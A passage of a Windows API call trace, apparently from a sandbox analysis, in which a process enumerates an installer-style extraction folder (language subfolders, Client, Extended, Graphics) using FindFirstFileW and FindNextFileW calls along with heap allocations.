	[0061.058] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.058] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.058] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.058] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.058] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.058] FindClose (in: hFindFile=0x5e0730 | out: hFindFile=0x5e0730) returned 1
	[0061.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.059] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0061.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.059] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e08b0
	[0061.059] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.059] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.059] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.063] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.063] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.063] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0061.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.063] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0061.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.063] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02b0
	[0061.064] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.064] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.064] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.064] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.064] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.064] FindClose (in: hFindFile=0x5e02b0 | out: hFindFile=0x5e02b0) returned 1
	[0061.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.065] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0061.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.065] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09b0
	[0061.066] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.066] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.066] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.066] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.066] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.066] FindClose (in: hFindFile=0x5e09b0 | out: hFindFile=0x5e09b0) returned 1
	[0061.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.067] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0061.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.067] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09b0
	[0061.068] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.068] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0061.068] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0061.068] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0061.068] FindClose (in: hFindFile=0x5e09b0 | out: hFindFile=0x5e09b0) returned 1
	[0061.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.068] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0061.069] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0061.069] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0061.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.069] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02b0
	[0061.069] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.069] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0061.069] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0061.070] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0061.070] FindClose (in: hFindFile=0x5e02b0 | out: hFindFile=0x5e02b0) returned 1
	[0061.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.070] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0061.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.070] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e04b0
	[0061.072] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
